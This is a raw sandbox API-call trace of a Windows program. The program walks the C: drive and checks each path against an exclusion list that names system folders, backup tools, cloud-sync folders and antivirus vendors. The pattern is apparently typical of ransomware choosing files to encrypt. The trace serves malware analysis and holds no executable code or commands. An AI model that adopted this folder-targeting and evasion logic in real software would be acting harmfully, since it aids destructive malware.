[0029.621] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.621] CharUpperBuffW (in: lpsz="\\WINDOWS10UPGRADE\\", cchLength=0x12 | out: lpsz="\\WINDOWS10UPGRADE\\") returned 0x12 [0029.621] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.621] CharUpperBuffW (in: lpsz="\\$RECYCLE.BIN\\", cchLength=0xe | out: lpsz="\\$RECYCLE.BIN\\") returned 0xe [0029.621] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.621] CharUpperBuffW (in: lpsz="\\WINDOWS NT\\", cchLength=0xc | out: lpsz="\\WINDOWS NT\\") returned 0xc [0029.621] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.621] CharUpperBuffW (in: lpsz="\\COMMON FILES\\", cchLength=0xe | out: lpsz="\\COMMON FILES\\") returned 0xe [0029.621] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.621] CharUpperBuffW (in: lpsz="\\TEMP\\", cchLength=0x6 | out: lpsz="\\TEMP\\") returned 0x6 [0029.621] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.621] CharUpperBuffW (in: lpsz="\\BOOT\\", cchLength=0x6 | out: lpsz="\\BOOT\\") returned 0x6 [0029.621] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.621] CharUpperBuffW (in: lpsz="\\MSOCACHE\\", cchLength=0xa | out: lpsz="\\MSOCACHE\\") returned 0xa [0029.621] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.621] CharUpperBuffW (in: lpsz="\\DEFAULT USER\\", cchLength=0xe | out: lpsz="\\DEFAULT USER\\") returned 0xe [0029.621] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.621] CharUpperBuffW (in: lpsz="FILES\\ACRONIS\\", cchLength=0xe | out: lpsz="FILES\\ACRONIS\\") returned 0xe [0029.621] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.621] CharUpperBuffW (in: lpsz="(X86)\\ACRONIS\\", cchLength=0xe | out: lpsz="(X86)\\ACRONIS\\") returned 0xe [0029.621] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.621] CharUpperBuffW (in: lpsz="FILES\\BACKUPCLIENT\\", cchLength=0x13 | out: lpsz="FILES\\BACKUPCLIENT\\") returned 0x13 [0029.621] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.621] CharUpperBuffW (in: lpsz="(X86)\\BACKUPCLIENT\\", cchLength=0x13 | out: lpsz="(X86)\\BACKUPCLIENT\\") returned 0x13 [0029.621] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.621] CharUpperBuffW (in: lpsz="FILES\\BACKUP MANAGER\\", cchLength=0x15 | out: lpsz="FILES\\BACKUP MANAGER\\") returned 0x15 [0029.621] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.622] CharUpperBuffW (in: lpsz="(X86)\\BACKUP MANAGER\\", cchLength=0x15 | out: lpsz="(X86)\\BACKUP MANAGER\\") returned 0x15 [0029.622] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.622] CharUpperBuffW (in: lpsz="FILES\\CARBONITE\\", cchLength=0x10 | out: lpsz="FILES\\CARBONITE\\") returned 0x10 [0029.622] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.622] CharUpperBuffW (in: lpsz="(X86)\\CARBONITE\\", cchLength=0x10 | out: lpsz="(X86)\\CARBONITE\\") returned 0x10 [0029.622] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.622] CharUpperBuffW (in: lpsz="FILES\\GOOGLE\\DRIVE\\", cchLength=0x13 | out: lpsz="FILES\\GOOGLE\\DRIVE\\") returned 0x13 [0029.622] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.622] CharUpperBuffW (in: lpsz="(X86)\\GOOGLE\\DRIVE\\", cchLength=0x13 | out: lpsz="(X86)\\GOOGLE\\DRIVE\\") returned 0x13 [0029.622] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.622] CharUpperBuffW (in: lpsz="FILES\\DROPBOX\\", cchLength=0xe | out: lpsz="FILES\\DROPBOX\\") returned 0xe [0029.622] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.622] CharUpperBuffW (in: lpsz="(X86)\\DROPBOX\\", cchLength=0xe | out: lpsz="(X86)\\DROPBOX\\") returned 0xe [0029.622] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.622] CharUpperBuffW (in: lpsz="FILES\\MICROSOFT ONEDRIVE\\", cchLength=0x19 | out: lpsz="FILES\\MICROSOFT ONEDRIVE\\") returned 0x19 [0029.622] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.622] CharUpperBuffW (in: lpsz="(X86)\\MICROSOFT ONEDRIVE\\", cchLength=0x19 | out: lpsz="(X86)\\MICROSOFT ONEDRIVE\\") returned 0x19 [0029.622] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.622] CharUpperBuffW (in: lpsz="FILES\\ONEDRIVE\\", cchLength=0xf | out: lpsz="FILES\\ONEDRIVE\\") returned 0xf [0029.622] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.622] CharUpperBuffW (in: lpsz="(X86)\\ONEDRIVE\\", cchLength=0xf | out: lpsz="(X86)\\ONEDRIVE\\") returned 0xf [0029.622] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.622] CharUpperBuffW (in: lpsz="VNC\\", cchLength=0x4 | out: lpsz="VNC\\") returned 0x4 [0029.622] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.622] CharUpperBuffW (in: lpsz="\\INTERNET EXPLORER\\", cchLength=0x13 | out: lpsz="\\INTERNET EXPLORER\\") returned 0x13 [0029.622] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.622] CharUpperBuffW (in: lpsz="\\MICROSOFT\\OFFICE\\", cchLength=0x12 | out: lpsz="\\MICROSOFT\\OFFICE\\") returned 0x12 [0029.622] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.622] CharUpperBuffW (in: lpsz="\\MICROSOFT OFFICE\\", cchLength=0x12 | out: lpsz="\\MICROSOFT OFFICE\\") returned 0x12 [0029.622] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.622] CharUpperBuffW (in: lpsz="\\WINDOWS SIDEBAR\\", cchLength=0x11 | out: lpsz="\\WINDOWS SIDEBAR\\") returned 0x11 [0029.622] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.622] CharUpperBuffW (in: lpsz="\\WINDOWS MEDIA PLAYER\\", cchLength=0x16 | out: lpsz="\\WINDOWS MEDIA PLAYER\\") returned 0x16 [0029.622] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.622] CharUpperBuffW (in: lpsz="\\DVD MAKER\\", cchLength=0xb | out: lpsz="\\DVD MAKER\\") returned 0xb [0029.623] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.623] CharUpperBuffW (in: lpsz="\\WINDOWSPOWERSHELL\\", cchLength=0x13 | out: lpsz="\\WINDOWSPOWERSHELL\\") returned 0x13 [0029.623] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.623] CharUpperBuffW (in: lpsz="\\WINDOWS DEFENDER\\", cchLength=0x12 | out: lpsz="\\WINDOWS DEFENDER\\") returned 0x12 [0029.623] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.623] CharUpperBuffW (in: lpsz="\\TOR BROWSER\\", cchLength=0xd | out: lpsz="\\TOR BROWSER\\") returned 0xd [0029.623] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.623] CharUpperBuffW (in: lpsz="\\ASPNET_CLIENT\\", cchLength=0xf | out: lpsz="\\ASPNET_CLIENT\\") returned 0xf [0029.623] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.623] CharUpperBuffW (in: lpsz="\\REFERENCE ASSEMBLIES\\", cchLength=0x16 | out: lpsz="\\REFERENCE ASSEMBLIES\\") returned 0x16 [0029.623] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.623] CharUpperBuffW (in: lpsz="\\MICROSOFT\\PROVISIONING\\", cchLength=0x18 | out: lpsz="\\MICROSOFT\\PROVISIONING\\") returned 0x18 [0029.623] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.623] CharUpperBuffW (in: lpsz="\\MICROSOFT SILVERLIGHT\\", cchLength=0x17 | out: lpsz="\\MICROSOFT SILVERLIGHT\\") returned 0x17 [0029.623] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.623] CharUpperBuffW (in: lpsz="\\PROGRAMDATA\\MICROSOFT\\", cchLength=0x17 | out: lpsz="\\PROGRAMDATA\\MICROSOFT\\") returned 0x17 [0029.623] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.623] CharUpperBuffW (in: lpsz="\\MICROSOFT\\CRYPTO\\", cchLength=0x12 | out: lpsz="\\MICROSOFT\\CRYPTO\\") returned 0x12 [0029.623] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.623] CharUpperBuffW (in: lpsz="\\WINDOWSAPPS\\", cchLength=0xd | out: lpsz="\\WINDOWSAPPS\\") returned 0xd [0029.623] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.623] CharUpperBuffW (in: lpsz="\\7-ZIP\\", cchLength=0x7 | out: lpsz="\\7-ZIP\\") returned 0x7 [0029.623] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.623] CharUpperBuffW (in: lpsz="\\WINRAR\\", cchLength=0x8 | out: lpsz="\\WINRAR\\") returned 0x8 [0029.623] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.623] CharUpperBuffW (in: lpsz="\\ESET", cchLength=0x5 | out: lpsz="\\ESET") returned 0x5 [0029.623] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.623] CharUpperBuffW (in: lpsz="\\AVAST", cchLength=0x6 | out: lpsz="\\AVAST") returned 0x6 [0029.623] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.623] CharUpperBuffW (in: lpsz="\\MALWAREBYTES", cchLength=0xd | out: lpsz="\\MALWAREBYTES") returned 0xd [0029.623] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.623] CharUpperBuffW (in: lpsz="\\SYMANTEC ENDPOINT", cchLength=0x12 | out: lpsz="\\SYMANTEC ENDPOINT") returned 0x12 [0029.623] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.623] CharUpperBuffW (in: lpsz="\\TREND MICRO", cchLength=0xc | out: lpsz="\\TREND MICRO") returned 0xc [0029.623] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.624] CharUpperBuffW (in: lpsz="\\BITDEFENDER", cchLength=0xc | out: lpsz="\\BITDEFENDER") returned 0xc [0029.624] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.624] CharUpperBuffW (in: lpsz="\\PANDA SECURITY", cchLength=0xf | out: lpsz="\\PANDA SECURITY") returned 0xf [0029.624] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.624] CharUpperBuffW (in: lpsz="\\MCAFEE", cchLength=0x7 | out: lpsz="\\MCAFEE") returned 0x7 [0029.624] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.624] CharUpperBuffW (in: lpsz="\\KASPERSKY LAB", cchLength=0xe | out: lpsz="\\KASPERSKY LAB") returned 0xe [0029.624] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.624] CharUpperBuffW (in: lpsz="\\KASPERSKYLAB", cchLength=0xd | out: lpsz="\\KASPERSKYLAB") returned 0xd [0029.624] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.624] CharUpperBuffW (in: lpsz="\\AVDEFENDER", cchLength=0xb | out: lpsz="\\AVDEFENDER") returned 0xb [0029.624] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.624] CharUpperBuffW (in: lpsz="\\SOPHOS", cchLength=0x7 | out: lpsz="\\SOPHOS") returned 0x7 [0029.624] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.624] CharUpperBuffW (in: lpsz="\\AVG", cchLength=0x4 | out: lpsz="\\AVG") returned 0x4 [0029.624] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.624] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*.*", lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70e3e8 [0029.624] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.625] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0029.625] FindClose (in: hFindFile=0x70e3e8 | out: hFindFile=0x70e3e8) returned 1 [0029.625] FindNextFileW (in: hFindFile=0x70e078, lpFindFileData=0x18f8f4 | out: lpFindFileData=0x18f8f4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0029.625] CharUpperBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", cchLength=0x26 | out: lpsz="C:\\USERS\\5P5NRGJN0JS HALPMCXZ\\DESKTOP\\") returned 0x26 [0029.625] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.625] CharUpperBuffW (in: lpsz="\\PERFLOGS\\", cchLength=0xa | out: lpsz="\\PERFLOGS\\") returned 0xa [0029.625] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.625] CharUpperBuffW (in: lpsz="\\WINDOWS\\", cchLength=0x9 | out: lpsz="\\WINDOWS\\") returned 0x9 [0029.625] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.625] CharUpperBuffW (in: lpsz="\\WINDOWS.OLD\\", cchLength=0xd | out: lpsz="\\WINDOWS.OLD\\") returned 0xd [0029.625] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.625] CharUpperBuffW (in: lpsz="\\WINDOWS10UPGRADE\\", cchLength=0x12 | out: lpsz="\\WINDOWS10UPGRADE\\") returned 0x12 [0029.625] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.625] CharUpperBuffW (in: lpsz="\\$RECYCLE.BIN\\", cchLength=0xe | out: lpsz="\\$RECYCLE.BIN\\") returned 0xe [0029.625] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.625] CharUpperBuffW (in: lpsz="\\WINDOWS NT\\", cchLength=0xc | out: lpsz="\\WINDOWS NT\\") returned 0xc [0029.625] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.626] CharUpperBuffW (in: lpsz="\\COMMON FILES\\", cchLength=0xe | out: lpsz="\\COMMON FILES\\") returned 0xe [0029.626] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.626] CharUpperBuffW (in: lpsz="\\TEMP\\", cchLength=0x6 | out: lpsz="\\TEMP\\") returned 0x6 [0029.626] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.626] CharUpperBuffW (in: lpsz="\\BOOT\\", cchLength=0x6 | out: lpsz="\\BOOT\\") returned 0x6 [0029.626] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.626] CharUpperBuffW (in: lpsz="\\MSOCACHE\\", cchLength=0xa | out: lpsz="\\MSOCACHE\\") returned 0xa [0029.626] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.626] CharUpperBuffW (in: lpsz="\\DEFAULT USER\\", cchLength=0xe | out: lpsz="\\DEFAULT USER\\") returned 0xe [0029.626] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.626] CharUpperBuffW (in: lpsz="FILES\\ACRONIS\\", cchLength=0xe | out: lpsz="FILES\\ACRONIS\\") returned 0xe [0029.626] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.626] CharUpperBuffW (in: lpsz="(X86)\\ACRONIS\\", cchLength=0xe | out: lpsz="(X86)\\ACRONIS\\") returned 0xe [0029.626] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.626] CharUpperBuffW (in: lpsz="FILES\\BACKUPCLIENT\\", cchLength=0x13 | out: lpsz="FILES\\BACKUPCLIENT\\") returned 0x13 [0029.626] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.626] CharUpperBuffW (in: lpsz="(X86)\\BACKUPCLIENT\\", cchLength=0x13 | out: lpsz="(X86)\\BACKUPCLIENT\\") returned 0x13 [0029.626] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.626] CharUpperBuffW (in: lpsz="FILES\\BACKUP MANAGER\\", cchLength=0x15 | out: lpsz="FILES\\BACKUP MANAGER\\") returned 0x15 [0029.626] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.626] CharUpperBuffW (in: lpsz="(X86)\\BACKUP MANAGER\\", cchLength=0x15 | out: lpsz="(X86)\\BACKUP MANAGER\\") returned 0x15 [0029.626] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.626] CharUpperBuffW (in: lpsz="FILES\\CARBONITE\\", cchLength=0x10 | out: lpsz="FILES\\CARBONITE\\") returned 0x10 [0029.626] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.626] CharUpperBuffW (in: lpsz="(X86)\\CARBONITE\\", cchLength=0x10 | out: lpsz="(X86)\\CARBONITE\\") returned 0x10 [0029.626] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.626] CharUpperBuffW (in: lpsz="FILES\\GOOGLE\\DRIVE\\", cchLength=0x13 | out: lpsz="FILES\\GOOGLE\\DRIVE\\") returned 0x13 [0029.626] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.626] CharUpperBuffW (in: lpsz="(X86)\\GOOGLE\\DRIVE\\", cchLength=0x13 | out: lpsz="(X86)\\GOOGLE\\DRIVE\\") returned 0x13 [0029.626] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.626] CharUpperBuffW (in: lpsz="FILES\\DROPBOX\\", cchLength=0xe | out: lpsz="FILES\\DROPBOX\\") returned 0xe [0029.626] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.626] CharUpperBuffW (in: lpsz="(X86)\\DROPBOX\\", cchLength=0xe | out: lpsz="(X86)\\DROPBOX\\") returned 0xe [0029.626] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.627] CharUpperBuffW (in: lpsz="FILES\\MICROSOFT ONEDRIVE\\", cchLength=0x19 | out: lpsz="FILES\\MICROSOFT ONEDRIVE\\") returned 0x19 [0029.627] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.627] CharUpperBuffW (in: lpsz="(X86)\\MICROSOFT ONEDRIVE\\", cchLength=0x19 | out: lpsz="(X86)\\MICROSOFT ONEDRIVE\\") returned 0x19 [0029.627] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.627] CharUpperBuffW (in: lpsz="FILES\\ONEDRIVE\\", cchLength=0xf | out: lpsz="FILES\\ONEDRIVE\\") returned 0xf [0029.627] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.627] CharUpperBuffW (in: lpsz="(X86)\\ONEDRIVE\\", cchLength=0xf | out: lpsz="(X86)\\ONEDRIVE\\") returned 0xf [0029.627] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.627] CharUpperBuffW (in: lpsz="VNC\\", cchLength=0x4 | out: lpsz="VNC\\") returned 0x4 [0029.627] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.627] CharUpperBuffW (in: lpsz="\\INTERNET EXPLORER\\", cchLength=0x13 | out: lpsz="\\INTERNET EXPLORER\\") returned 0x13 [0029.627] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.627] CharUpperBuffW (in: lpsz="\\MICROSOFT\\OFFICE\\", cchLength=0x12 | out: lpsz="\\MICROSOFT\\OFFICE\\") returned 0x12 [0029.627] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.627] CharUpperBuffW (in: lpsz="\\MICROSOFT OFFICE\\", cchLength=0x12 | out: lpsz="\\MICROSOFT OFFICE\\") returned 0x12 [0029.627] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a 